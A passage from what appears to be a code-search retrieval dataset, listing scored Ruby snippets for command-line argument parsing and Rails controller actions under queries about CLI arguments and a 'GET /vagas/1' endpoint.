"title": ""
},
{
"docid": "32a0ed3597713d425e817b831f020f80",
"score": "0.5571498",
"text": "def argument(args)\n args.first\n end",
"title": ""
},
{
"docid": "25556e2b0fd0ca2d2db71d7e799153ea",
"score": "0.5504772",
"text": "def arg(key, default = nil)\n args.fetch(key.to_s, default)\n end",
"title": ""
},
{
"docid": "f624d980aae0cdec3cc5cede6e929a16",
"score": "0.55022895",
"text": "def key; @opts['key'] end",
"title": ""
},
{
"docid": "efe083823341b336b46b88e8c9d37261",
"score": "0.5501238",
"text": "def process_argv!\n super\n if raw_script_name =~ /(\\w+)-([\\w\\-]+)/\n self.command = $2\n else\n self.command = rest.shift\n end\n end",
"title": ""
},
{
"docid": "1884fca37f1adc4ad04d764d2c4f096d",
"score": "0.5500151",
"text": "def get_command_line_argument\n if ARGV.empty?\n puts \"Usage: ruby lookup.rb <domain>\" \n exit\n end ARGV.first # get frst argument in commnad line\nend",
"title": ""
},
{
"docid": "499f69df841ca416bf4bd8d340db02dd",
"score": "0.54972005",
"text": "def find_action(argv)\n begin\n argv.each { |argument|\n match = /(-a|--action)=(launch|stop|start|terminate)/.match(argument)\n if match != nil\n return match[2]\n end\n }\n # if no match was found:\n raise 'No valid value for server ID passed.'\n\n rescue Exception => e\n puts e.message\n end\nend",
"title": ""
},
{
"docid": "1807a78a03b1629516f3ddae36d93324",
"score": "0.5469291",
"text": "def command\n if args.skip?\n ''\n else\n commands.join('; ')\n end\n end",
"title": ""
},
{
"docid": "74fb80511c9a1db95621865a2c2298a3",
"score": "0.54669",
"text": "def command_name\n @command_name ||= if command = name.to_s.split(\"::\").last\n command.chomp!(\"Command\")\n command.underscore\n end\n end",
"title": ""
},
{
"docid": "1885471fa5b4cb7dfe188ce64f8d3035",
"score": "0.54540205",
"text": "def parse_string_argument(key)\n if @opts[key].nil? and [email protected]\n @opts[key] = s.dup \n end\n end",
"title": ""
},
{
"docid": "f8de1e3e9c543b62878b4267f8aead79",
"score": "0.5452958",
"text": "def command_name(command)\n i = command =~ /\\s/\n command = command.slice(0, i) if i\n command.split('/')[-1]\n end",
"title": ""
},
{
"docid": "e3fd28d74e4d4f91b5ae658bccc75dbd",
"score": "0.5443752",
"text": "def username_from_cmd\n # the username is the first part of the path\n return self.cmd_opt.gsub(\"'\",\"\").split(\"/\")[0] if !self.cmd_opt.empty?\n end",
"title": ""
},
{
"docid": "3abc824ffe4d0b5994c292a0185be8da",
"score": "0.54306334",
"text": "def first_key\n first = node_next(@head, 0)\n return first ? first[1] : nil\n end",
"title": ""
},
{
"docid": "3abc824ffe4d0b5994c292a0185be8da",
"score": "0.54306334",
"text": "def first_key\n first = node_next(@head, 0)\n return first ? first[1] : nil\n end",
"title": ""
},
{
"docid": "1f61d53d164fc564c511c23a3f1995b0",
"score": "0.5415322",
"text": "def quick_command\n @raw[0] || \"\"\n end",
"title": ""
},
{
"docid": "8b427d16e03a0b58f6f289de1e5cbc2b",
"score": "0.54081786",
"text": "def command_name(command)\n command.slice(0, command.index(/\\s/)).split('/')[-1]\n end",
"title": ""
},
{
"docid": "355bb7bfeb0c5462bd36876dc0c2443b",
"score": "0.5407206",
"text": "def command\n return @command.underscore if @command.is_a?(String)\n @command\n end",
"title": ""
},
{
"docid": "f9658dd7503b127305cd554aabf87638",
"score": "0.54018265",
"text": "def find_command(command, str)\n #split on first instance of command char\n parsed = str.split(@command_char, 2)\n if parsed.first == command\n return self.parse_value(parsed.last)\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "ede98df36845a9e2b8a5c0f5e1764e83",
"score": "0.53759307",
"text": "def default_command(command_name = nil)\n if command_name\n if commands.has_key?(command_name)\n @default_command = commands[command_name] if command_name\n @default_command\n else\n raise ArgumentError.new(\"'#{command_name}' couldn't be found in this command's list of commands.\")\n end\n else\n @default_command\n end\n end",
"title": ""
},
{
"docid": "e7a5e0d8d38413a72f2db96fa4d51a9b",
"score": "0.53700674",
"text": "def extract_command_line_argument(argument_name, default_value: nil)\n argument_name_index = ARGV.find_index(argument_name)\n argument_value = ARGV[argument_name_index + 1] if argument_name_index && argument_name_index < (ARGV.length - 1)\n if (argument_value)\n argument_value\n elsif default_value\n default_value\n else\n raise \"Cannot find argument '#{argument_name}'\" if argument_name_index.nil? || argument_name_index < 0\n raise \"Cannot find argument value for '#{argument_name}'\"\n end\nend",
"title": ""
},
{
"docid": "a4bb9b8720fd46c175493590c9c8df78",
"score": "0.53667897",
"text": "def cli_option(key)\n return @cli_options[key]\n end",
"title": ""
},
{
"docid": "2d68e91ce31ce453c370246fb8a937cc",
"score": "0.5365047",
"text": "def key(arg = nil)\n set_or_return(:key,\n arg,\n kind_of: [String, NilClass],\n default: nil)\n end",
"title": ""
},
{
"docid": "ce626220302d8b8e8cec86ee2589440d",
"score": "0.53166705",
"text": "def parse_subcommand!(argv)\n argv.shift || false\n end",
"title": ""
},
{
"docid": "85fb8ce57274b7dee84ad541d4dbccc4",
"score": "0.5310926",
"text": "def parse_subcommand!(argv)\n argv.shift || false\n end",
"title": ""
},
{
"docid": "8299e0a77b11ed5b499bae3e819087cb",
"score": "0.5308004",
"text": "def preprocess_arguments_for_commands(args)\n # All arguments should be passed through to the atlantis command.\n if args.first == \"atlantis\"\n return args.slice!(1..-1)\n end\n if args.first == \"ssh\"\n arg_index = 1\n arg_index += 1 if Component.names.include?(args[1]) # Skip <component>, if it exists\n while arg_index < args.length\n break if args[arg_index][0] != \"-\"\n arg_index += 1 if args[arg_index] == \"-i\"\n arg_index += 1\n end\n return [] unless arg_index < args.length\n puts \"slicing #{arg_index.inspect}\"\n return args.slice!(arg_index..-1)\n end\n []\nend",
"title": ""
},
{
"docid": "b65a56b59b6db77a51efafd1f519441b",
"score": "0.52954435",
"text": "def get_named_arg(args, name)\n args.each_with_index do |arg, index|\n return args[index + 1] if arg == \"--#{name}\"\n end\n ''\n end",
"title": ""
},
{
"docid": "c5e7b3f0ac311bbb37d26cdb56087efd",
"score": "0.52943015",
"text": "def command_name(cmd)\n cmd\n end",
"title": ""
},
{
"docid": "f952156d52898da28c1fad5ee26882b8",
"score": "0.5290793",
"text": "def find_command(command, str)\n #split on first instance of command char\n parsed = str.split(@command_char, 2)\n if parsed.first == command\n return self.parse_value(parsed.last)\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "8615fd3e465917095dc3f06514affe80",
"score": "0.5283454",
"text": "def pid\n @pid ||= metadata.fetch(@args.command, nil)\n end",
"title": ""
},
{
"docid": "975c405a7932bf5789834253ec9598a1",
"score": "0.5281589",
"text": "def get_command(command)\n ensure_cache_up_to_date\n namespace = \"bluster:objects:command:#{command}\"\n keys = self.redis.keys(\"#{namespace}:*\")\n data = {}\n keys.each { |key|\n short_key = key.split(\":\")[4]\n data[short_key] = self.redis.get(\"#{namespace}:#{short_key}\")\n }\n data\n end",
"title": ""
},
{
"docid": "49502e8d995b325fa8ca6f93cf01d746",
"score": "0.5262287",
"text": "def username_from_cmd\n if self.is_git?\n return self.cmd_opt.gsub(\"'\",\"\").split(\"/\")[0] if !self.cmd_opt.empty?\n elsif self.is_hg?\n return self.cmd_opt.split(\" \")[1].split(\"/\")[0] if !self.cmd_opt.empty?\n end\n end",
"title": ""
},
{
"docid": "2a6759cecf79ec1e97f4e0a14525a1c1",
"score": "0.524818",
"text": "def get_command_from_args(args)\n raise 'A command is required' if args.empty?\n {\n :filename => 'todo_list_data.txt',\n :command => args[0],\n :modifier => args[1]\n }\n end",
"title": ""
},
{
"docid": "45c7cfc5987def15fae06d9eb780549f",
"score": "0.52444494",
"text": "def command_name\n return FIND if filter[:$query]\n filter.keys.first\n end",
"title": ""
},
{
"docid": "52862d68253ee4d188e4550a1d3b058b",
"score": "0.5229747",
"text": "def key(*args)\n args.join(\":\")\n end",
"title": ""
},
{
"docid": "9a4612662045ef25413709743da1b1aa",
"score": "0.5225815",
"text": "def default_command\n commands.find { |c| c.default }\n end",
"title": ""
},
{
"docid": "0d293c8afe070375ee63c7fb787c9b89",
"score": "0.5224556",
"text": "def command(name)\n commands.find { |command| command.name == name.to_s }\n end",
"title": ""
},
{
"docid": "f2276c1e9eae37bd364f1da2760574e0",
"score": "0.5205015",
"text": "def command\n attributes.fetch(:command)\n end",
"title": ""
},
{
"docid": "f2276c1e9eae37bd364f1da2760574e0",
"score": "0.5205015",
"text": "def command\n attributes.fetch(:command)\n end",
"title": ""
},
{
"docid": "22ac4a8e65b15a700ce7a3d791ebdd69",
"score": "0.51894253",
"text": "def get_command(given_params)\n given_params[:sitename] && sanitize_sitename_param!(given_params)\n matches = CommandSets.reduce([]) do |results, (main_param, aux_params)|\n match_obj = { 'main_command' => given_params.has_key?(main_param) ? main_param : nil }\n aux_params.each { |param| match_obj[param] = given_params[param] }\n match_obj = match_obj.select { |k, v| k.in? (['main_command'] + aux_params) }\n results.concat([match_obj])\n end\n matches.select { |hash| hash.values.all? }.shift || {}\n end",
"title": ""
},
{
"docid": "6af0297a4420f4f07d1594fa774f73c8",
"score": "0.5186272",
"text": "def operation\n arguments.first\n end",
"title": ""
},
{
"docid": "5a569dd2ebb2d2bc612ac60ee5cd894b",
"score": "0.5183575",
"text": "def command_string\n\t\treturn datastore['CMD'] || ''\n\tend",
"title": ""
},
{
"docid": "dc24b24ae783da17292cb04b230dac50",
"score": "0.51750326",
"text": "def from_cmd(cmd)\n so = shell_out(cmd)\n so.stdout.split($/)[0]\n end",
"title": ""
},
{
"docid": "a7c012810d877f5878f2f06bd4c85e61",
"score": "0.5174246",
"text": "def command_name\n return self.class.to_s.split(\"::\").last.downcase.gsub(/command/,\"\")\n end",
"title": ""
},
{
"docid": "33ef59a9eb0d0dca28657dd1581b4e40",
"score": "0.51575226",
"text": "def command\n\n h.fields['__command__']\n end",
"title": ""
},
{
"docid": "072180d561d1f6a0580b4e78a7e0ef21",
"score": "0.51478237",
"text": "def compatible_key(key)\n return key if data.include?(key)\n\n if ddl\n input = ddl.action_interface(action)[:input]\n\n # if :package is requested and the DDL also declares \"package\" we cant tell it to fetch\n # \"package\", hence the check against the input here\n return key.to_s if key.is_a?(Symbol) && !input.include?(key.to_s) && data.include?(key.to_s)\n end\n\n key\n end",
"title": ""
},
{
"docid": "c66d434027d571fa12b968d89df0819d",
"score": "0.514227",
"text": "def parsed_argv\n Hash[ARGV.map { |arg| arg.split(\":\") }]\nend",
"title": ""
},
{
"docid": "04715ee206fd66969425d5f3818e6e52",
"score": "0.5137125",
"text": "def get_argument_value(arg, required, fallback)\n if @args.has_key?(arg)\n @args[arg]\n else\n raise ArgumentError, \"Required argument #{arg} is blank\" if required\n fallback\n end\nend",
"title": ""
},
{
"docid": "384d9f186b6ba4e3dc1b04bc6b3045b3",
"score": "0.51353073",
"text": "def find_command( name )\n commands.each { |cmd| return cmd if cmd.name == name }\n nil\n end",
"title": ""
},
{
"docid": "abba3c4a648b2356c70e07899d0db6a1",
"score": "0.5130284",
"text": "def [](key)\n entry = find_entry(key)\n return(entry.nil? ? nil : entry[1])\n end",
"title": ""
},
{
"docid": "d5bef3bd85f7846ba9c8edcf2bcb3898",
"score": "0.5129587",
"text": "def ssh_key(arg=nil)\n set_or_return(:ssh_key, arg, :kind_of => String)\n end",
"title": ""
},
{
"docid": "39d2899cf15d309b622fae136fa5b6dc",
"score": "0.5128283",
"text": "def command\n @attributes['command']\n end",
"title": ""
},
{
"docid": "6a3957063de9934c013261e860eff2bc",
"score": "0.5112715",
"text": "def work(argv)\n # all -h equivalent to --help\n argv = argv.map { |a| a == '-h' ? '--help' : a }\n idx = argv.index { |c| !c.start_with?('-') }\n preoption = idx.nil? ? argv.shift(argv.size) : argv.shift(idx)\n\n # handle --version or --help or nothing\n return show(\"SeccompTools Version #{SeccompTools::VERSION}\") if preoption.include?('--version')\n return show(USAGE) if idx.nil?\n\n # let's handle commands\n cmd = argv.shift\n argv = %w[--help] if preoption.include?('--help')\n return show(invalid(cmd)) if COMMANDS[cmd].nil?\n\n COMMANDS[cmd].new(argv).handle\n end",
"title": ""
},
{
"docid": "0f7250f7ea961952ae1fb21fc1f76460",
"score": "0.5110256",
"text": "def mapper_arg\n args.first\n end",
"title": ""
},
{
"docid": "14351ad9967be0b5ee3d0e38edc49557",
"score": "0.51065075",
"text": "def tool\n return @tool if @tool\n\n tools.each do |k, v|\n next unless command? v\n return @tool = k\n end\n @tool\n end",
"title": ""
},
{
"docid": "436124b5eb012a00afa5ef57651ec617",
"score": "0.51021314",
"text": "def alias2cmd(cmd_alias)\n Commands::CMDS.find { |_, v| v[:alias] == cmd_alias }.first\n end",
"title": ""
},
{
"docid": "f68255fd24c07ea6d8ff51fc014bd9f7",
"score": "0.5101639",
"text": "def key\n `return #{self}.__key__ || #{nil};`\n end",
"title": ""
},
{
"docid": "929ac46cd635e4bd9bae1b2e017b276c",
"score": "0.510141",
"text": "def get_key(data)\n keys = data.keys\n if keys.length != 1 || INDICES.none? { |key| key.to_sym == keys.first.to_sym }\n raise ArgumentError, \"`find_by` accepts only one of #{INDICES.join(' or ')} as argument. None provided\"\n end\n\n keys.first\n end",
"title": ""
},
{
"docid": "091d346185fe628c6438b892a5a9eeb8",
"score": "0.5101402",
"text": "def key\n params.k\n end",
"title": ""
},
{
"docid": "c43f7271e8fa71930ead7e6b38a44801",
"score": "0.5096959",
"text": "def get_key(data)\n keys = data.keys\n if keys.length != 1 || INDICES.none? { |key| key.to_sym == keys.first.to_sym }\n raise ArgumentError, \"`find_by` accepts only one of #{INDICES.join(' or ')} as argument. none provided\"\n end\n\n keys.first\n end",
"title": ""
},
{
"docid": "d9dba2dac12ff92924079d232a13906a",
"score": "0.50950116",
"text": "def keyName _args\n \"keyName _args;\" \n end",
"title": ""
},
{
"docid": "3eac84c4e73fbfaf27216bd8a3580846",
"score": "0.5094391",
"text": "def command_params\n params[:command]\n end",
"title": ""
},
{
"docid": "2ad282b78b5821e50b4e6afecc73679d",
"score": "0.5081504",
"text": "def command_arg(key, desc, opts = {}, &block)\n opts.merge!(@arg_opts){ |k, e, n| e || n } if @arg_opts\n @arg_opts = nil\n args_def.command_arg(key, desc, opts, &block)\n end",
"title": ""
},
{
"docid": "1115fef147b873019bc02182f6a70767",
"score": "0.50778675",
"text": "def parse_command\n log_and_exit read_template('help') if @input.empty?\n @command = @input.shift\n \n while @input.any?\n opt = @input.shift\n \n if opt =~ /^--(\\w+)(=(\"[^\"]+\"|[\\w]+))*/\n name = $1\n value = $3 ? $3.gsub(/\"/, \"\") : true\n @named_options[name] = value\n else\n @options << opt\n end\n end\n end",
"title": ""
},
{
"docid": "f630e2bd856f7294e8b33496b076d3a0",
"score": "0.50697786",
"text": "def opt\n @key\n end",
"title": ""
},
{
"docid": "a3867c2c622ec3e3f74e9e4e2582d77e",
"score": "0.50653076",
"text": "def command_name(command)\n parts = []\n command = command.split(\" \")\n command.shift while command[0].to_s.include?(\"=\")\n parts << command.shift.split(\"/\")[-1]\n if parts[0] == \"sudo\"\n until command.empty?\n part = command.shift\n if part.include?(\"/\")\n parts << part.split(\"/\")[-1]\n break\n else\n parts << part\n end\n end\n end\n parts.join(\" \")\n end",
"title": ""
},
{
"docid": "b85448024a21a8ce42a00f23c9564ffe",
"score": "0.50608855",
"text": "def raw_command\n @raw_command ||= @raw.split[0] || \"\"\n end",
"title": ""
},
{
"docid": "ee4581dec88fee93963a1382c236e62a",
"score": "0.5060013",
"text": "def key\n self.keys.first\n end",
"title": ""
},
{
"docid": "445013757abb9e9d9d9df7fdc26f1bb0",
"score": "0.50594",
"text": "def command_name(name = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "daa1e08a0e80c962643845ba279b6ee7",
"score": "0.50493246",
"text": "def get_key(data)\n\t\t keys = data.keys\n\t\t if keys.length != 1 || INDICES.none? { |key| key.to_sym == keys.first.to_sym }\n\t\t raise ArgumentError.new(\"`find_by` accepts only one of #{INDICES.join(\" or \")} as argument. none provided\")\n\t\t end\n\t\t keys.first\n\t\t end",
"title": ""
},
{
"docid": "68ec09dabc08f10d05d0de2055e434c2",
"score": "0.50469255",
"text": "def key(*args)\n args.compact.join(\"/\")\n end",
"title": ""
},
{
"docid": "697059e4ca55700b84183e24b6d49507",
"score": "0.50459284",
"text": "def currentCommand _args\n \"currentCommand _args;\" \n end",
"title": ""
},
{
"docid": "e0ccb1c5d00a394bcbcce5026564c917",
"score": "0.5043988",
"text": "def extract_option!\n case args[0]\n when /\\A-[^-]./\n bump_key!(args[0].slice!(1))\n when /\\A-[^-]\\z/\n try_add_kv!(args[0][1])\n when /\\A--(.+?)=(.+)/\n add_key!(*Regexp.last_match.values_at(1, 2))\n args.shift\n when /\\A--./\n try_add_kv!(args[0][2..-1])\n when '--'\n args.shift\n self.options += args\n self.args = []\n else\n options << args.shift\n end\n end",
"title": ""
},
{
"docid": "c3c15f0d3dcf9b6e519304be62604466",
"score": "0.5043349",
"text": "def find_command(pk_hash)\n pk_hash.is_a?(Hash) or\n raise MessageViolatesConsistencyChecks, _(\"command ID is %{pk}, when Hash was expected\") % {pk: pk_hash.nil? ? 'nil' : pk_hash.class.name}\n pk_hash.empty? and\n raise MessageViolatesConsistencyChecks, _(\"command ID must be a nonempty Hash but is an empty Hash\")\n command = Razor::Data::Command[pk_hash]\n command.nil? and\n raise MessageViolatesConsistencyChecks, _(\"Unable to find Razor::Data::Command with pk %{pk}\") % {pk: pk_hash.inspect}\n return command\n end",
"title": ""
},
{
"docid": "ea72546e84e885b0d574e6937138bfec",
"score": "0.50415057",
"text": "def command_name; end",
"title": ""
},
{
"docid": "28118cdfc41aa2c5ccf764c0fe4255fa",
"score": "0.50406486",
"text": "def getKey; argSetTextual.to_sym end",
"title": ""
},
{
"docid": "de287b4807c104d0130c236a790743f8",
"score": "0.5037049",
"text": "def cmdarg=(_arg0); end",
"title": ""
},
{
"docid": "de287b4807c104d0130c236a790743f8",
"score": "0.5037049",
"text": "def cmdarg=(_arg0); end",
"title": ""
},
{
"docid": "de287b4807c104d0130c236a790743f8",
"score": "0.5037049",
"text": "def cmdarg=(_arg0); end",
"title": ""
},
{
"docid": "a4a6e01940c96fd887b343ee72c13b41",
"score": "0.50205827",
"text": "def key\n @key or raise MissingKey\n end",
"title": ""
},
{
"docid": "dbb7d1a807129b273a92bdcc2ead81d5",
"score": "0.5013092",
"text": "def json_cmd_one(cmd, key, path)\n unless path\n [\"JSON.#{cmd.upcase}\", key]\n else\n [\"JSON.#{cmd.upcase}\", key, path]\n end\n end",
"title": ""
},
{
"docid": "39f0bd6292b2cda64c9666795dde0618",
"score": "0.50082636",
"text": "def command_name\n self.class.command_name\n end",
"title": ""
},
{
"docid": "8558d025a5c7a4abcff2aaf52b133251",
"score": "0.50072914",
"text": "def command!(name)\n found = command(name)\n\n if found.nil?\n raise CommandNotFound.new(name, self)\n end\n\n found\n end",
"title": ""
},
{
"docid": "05f371e2451488a6a34f9e41acfa8a1b",
"score": "0.49910596",
"text": "def first_key\n @cursor_instance.jump( nil )\n return current_key\n end",
"title": ""
}
] |
4085bc0b7e3305545fbd7805d855c8b0
|
GET /vagas/1 GET /vagas/1.json
|
[
{
"docid": "f64bdd14f2e779103e1cbd87d83e6605",
"score": "0.0",
"text": "def show\n\n estado_civil = \"AND C.ESTADO_CIVIL = #{@vaga.estado_civil.to_i}\" unless @vaga.estado_civil.to_i == 2 \n veiculo = \"AND C.VEICULO_PROPRIO = #{@vaga.veiculo_proprio}\" if @vaga.veiculo_proprio.to_s == 't' \n fumante = \"AND C.FUMANTE = #{@vaga.nao_fumante}\" if @vaga.nao_fumante.to_s == 't' \n pne = \"AND C.PNE = #{@vaga.pne}\" if @vaga.pne.to_s == 't' \n sql = \"SELECT C.ID,\n C.NOME\n FROM CANDIDATOS C\n LEFT JOIN CANDIDATOS_TIPO_VAGAS CTV\n ON C.ID = CTV.CANDIDATO_ID\n\n LEFT JOIN CANDIDATOS_CARGOS CC\n ON C.ID = CC.CANDIDATO_ID\n\n LEFT JOIN CANDIDATOS_TURNOS CT\n ON C.ID = CT.CANDIDATO_ID\n \n WHERE CC.CARGO_ID = #{@vaga.cargo_id}\n AND CTV.TIPO_VAGA_ID = #{@vaga.tipo_vaga_id}\n AND CT.TURNO_ID = #{@vaga.turno_id}\n AND C.SEXO = #{@vaga.sexo}\n #{estado_civil}\n #{veiculo}\n #{fumante}\n #{pne}\" \n\n @candidatos = Candidato.find_by_sql(sql)\n end",
"title": ""
}
] |
[
{
"docid": "ed1dbe1132895bdd370d034cb454a1dd",
"score": "0.6974952",
"text": "def show\n vaga = Vaga.find(params[:id])\n render json: {status: 'SUCCESS', message:'Loaded vaga', data:vaga},status: :ok\n end",
"title": ""
},
{
"docid": "1af4878dbf11015a5ee14d89891163bb",
"score": "0.688545",
"text": "def show\n @vano = Vano.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vano }\n end\n end",
"title": ""
},
{
"docid": "f174655888fd8c9c1b55f48f7d729eaf",
"score": "0.68430346",
"text": "def show\n @vachana = Vachana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vachana }\n end\n end",
"title": ""
},
{
"docid": "f174655888fd8c9c1b55f48f7d729eaf",
"score": "0.68430346",
"text": "def show\n @vachana = Vachana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vachana }\n end\n end",
"title": ""
},
{
"docid": "e655e31720bc3c0ae3ac8e58adab2497",
"score": "0.6839814",
"text": "def index\n\t\tvendas = Venda.all\n\t\trender json: vendas, status: :ok\n\tend",
"title": ""
},
{
"docid": "6dc95d6f2f712bc2da00d410541c3567",
"score": "0.6780395",
"text": "def index\n @vampires = Vampire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vampires }\n end\n end",
"title": ""
},
{
"docid": "cfb83ed1d610cfcc6db1a7488f325e3a",
"score": "0.66103745",
"text": "def index\n @ivas = Iva.all\n\n render json: @ivas\n end",
"title": ""
},
{
"docid": "9f06daeb2c1513479201082d460c898a",
"score": "0.6541084",
"text": "def index\n @ventaganancia = Ventaganancium.all\n end",
"title": ""
},
{
"docid": "2a2f49725653558fb570bf0aad97931e",
"score": "0.6510831",
"text": "def show\n @vrabat = Vrabat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vrabat }\n end\n end",
"title": ""
},
{
"docid": "be1b5b3ca93baba9794a5455f93d5d57",
"score": "0.6463432",
"text": "def show\n @vaga = Vaga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vaga }\n end\n end",
"title": ""
},
{
"docid": "4be66e9eb09681de3322b5ad1247bdbd",
"score": "0.6460157",
"text": "def show\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vet }\n end\n end",
"title": ""
},
{
"docid": "4f38dcd52c38e493b3a4bc5bfcb1b39e",
"score": "0.6452102",
"text": "def show\n render json: @vat\n end",
"title": ""
},
{
"docid": "74b8647417df74b00f886659b4280743",
"score": "0.64296067",
"text": "def index\n @vitaminas = Vitamina.all\n end",
"title": ""
},
{
"docid": "fb36ff034fff18d6a6a0c04c1026ffc3",
"score": "0.6428691",
"text": "def index\n @vanos = Vano.all\n end",
"title": ""
},
{
"docid": "46f93a2ee41e94f58d32980d2e651d9a",
"score": "0.64021873",
"text": "def show\n @vegetable = Vegetable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vegetable }\n end\n end",
"title": ""
},
{
"docid": "338e7a38b07eb7d70579d7425d291fa8",
"score": "0.64015913",
"text": "def show\n @vampire = Vampire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vampire }\n end\n end",
"title": ""
},
{
"docid": "c372a05e5921649dd0647dca2599d481",
"score": "0.6375109",
"text": "def index\n\tif params[:perfil]\n\t\tp = Perfil.find(params[:perfil])\n\t\t@vagas = p.vagas.order(\"created_at DESC\").page(params[:page]).per(8)\n\telse\t\n\t \tif params[:perfil_id] && params[:empresa_id]\n\t\t\t@vagas = Vaga.vagas(params[:perfil_id], params[:empresa_id]).order(\"created_at DESC\").page(params[:page]).per(8)\n\t\telse\n\t\t\t@vagas = Vaga.order(\"created_at DESC\").page(params[:page]).per(8)\n\t\tend\n\tend\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vagas }\n end\n end",
"title": ""
},
{
"docid": "1b461ee052c98ff3905b18a2c1c376e6",
"score": "0.63738465",
"text": "def show\n @agendamento = Agendamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agendamento }\n end\n end",
"title": ""
},
{
"docid": "733ffeef89b17c8c4b56adeccb14c92e",
"score": "0.6368892",
"text": "def index\n @admin_villages = Admin::Village.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_villages }\n end\n end",
"title": ""
},
{
"docid": "49ee69659fe6f36ae0ccc341d84a905b",
"score": "0.6364929",
"text": "def index\n @vicarages = Vicarage.all\n end",
"title": ""
},
{
"docid": "8c8c03f2017191d0c8ca92fa1f8f2771",
"score": "0.6357792",
"text": "def show\n @avert = Avert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @avert }\n end\n end",
"title": ""
},
{
"docid": "9a1fec09b18831a2ac898f390046cbf6",
"score": "0.63478667",
"text": "def show\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aviso }\n end\n end",
"title": ""
},
{
"docid": "cd88c6128c2603eaa99927cb45db31ab",
"score": "0.6334265",
"text": "def show\n @voc = Voc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voc }\n end\n end",
"title": ""
},
{
"docid": "b8aeb936fd9a294c1760b3608e32664c",
"score": "0.6309475",
"text": "def show\n @ovos = Ovo.where(galinha_id: @galinha.galinha_id)\n end",
"title": ""
},
{
"docid": "f5061eef1321f9cdc105735b63a6a790",
"score": "0.62863505",
"text": "def show\n @vodka = Vodka.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vodka }\n end\n end",
"title": ""
},
{
"docid": "6e96cd27d95716e046384ed641c463c0",
"score": "0.6270584",
"text": "def show\n @grm_vetappt = GrmVetappt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @grm_vetappt }\n end\n end",
"title": ""
},
{
"docid": "2af09cd4e24d4013d771629a1aab4b37",
"score": "0.62564415",
"text": "def index\n @viagens = Viagem.all\n end",
"title": ""
},
{
"docid": "c440720ff476e892f231ffbf94f16855",
"score": "0.6247432",
"text": "def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"title": ""
},
{
"docid": "0440781b93cc057579dbe0058b2fe965",
"score": "0.6246332",
"text": "def index\n @vitimas = Vitima.all\n end",
"title": ""
},
{
"docid": "cb7cfae3acb06d99e578a263b8eea117",
"score": "0.6235367",
"text": "def show\n @observacao_vocacionada = ObservacaoVocacionada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observacao_vocacionada }\n end\n end",
"title": ""
},
{
"docid": "c2478e30f30752c40334e40455aef45d",
"score": "0.6235095",
"text": "def show\n @voprosy = Voprosy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voprosy }\n end\n end",
"title": ""
},
{
"docid": "ada94d5c094254f86c5a6e6b47d4f466",
"score": "0.62281007",
"text": "def new\n @vachana = Vachana.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vachana }\n end\n end",
"title": ""
},
{
"docid": "ada94d5c094254f86c5a6e6b47d4f466",
"score": "0.62281007",
"text": "def new\n @vachana = Vachana.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vachana }\n end\n end",
"title": ""
},
{
"docid": "101ce0e1a83014985156906413408e90",
"score": "0.622407",
"text": "def show\n @verbindung = Verbindung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verbindung }\n end\n end",
"title": ""
},
{
"docid": "b852dc0f6e0d803382ba91709954fcfd",
"score": "0.6221359",
"text": "def index\n @viajes = Viaje.all\n end",
"title": ""
},
{
"docid": "c6a4ac04e017b887752ef49357e4bcf7",
"score": "0.62193644",
"text": "def index\n @vas_responses = VasResponse.all\n end",
"title": ""
},
{
"docid": "4983d83325640311ddf05724f0d5e710",
"score": "0.62165165",
"text": "def show\n @cgv = Cgv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cgv }\n end\n end",
"title": ""
},
{
"docid": "6b45b8410fe39428937801314c41c136",
"score": "0.6212057",
"text": "def show\n @virus = Virus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @virus }\n end\n end",
"title": ""
},
{
"docid": "2be2723acb0ad66a58f497dc5f470b66",
"score": "0.620626",
"text": "def show\n @verbo = Verbo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verbo }\n end\n end",
"title": ""
},
{
"docid": "6be94eb2d67ac37ae618b55b0fe54b13",
"score": "0.62044",
"text": "def show\n @volantino = Volantino.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volantino }\n end\n end",
"title": ""
},
{
"docid": "1a924f60212b29dfd2f37d1dba6ebb1f",
"score": "0.6198758",
"text": "def index\n @vendamesas = Vendamesa.all\n end",
"title": ""
},
{
"docid": "cf422518729151cf0247addc26871262",
"score": "0.6176906",
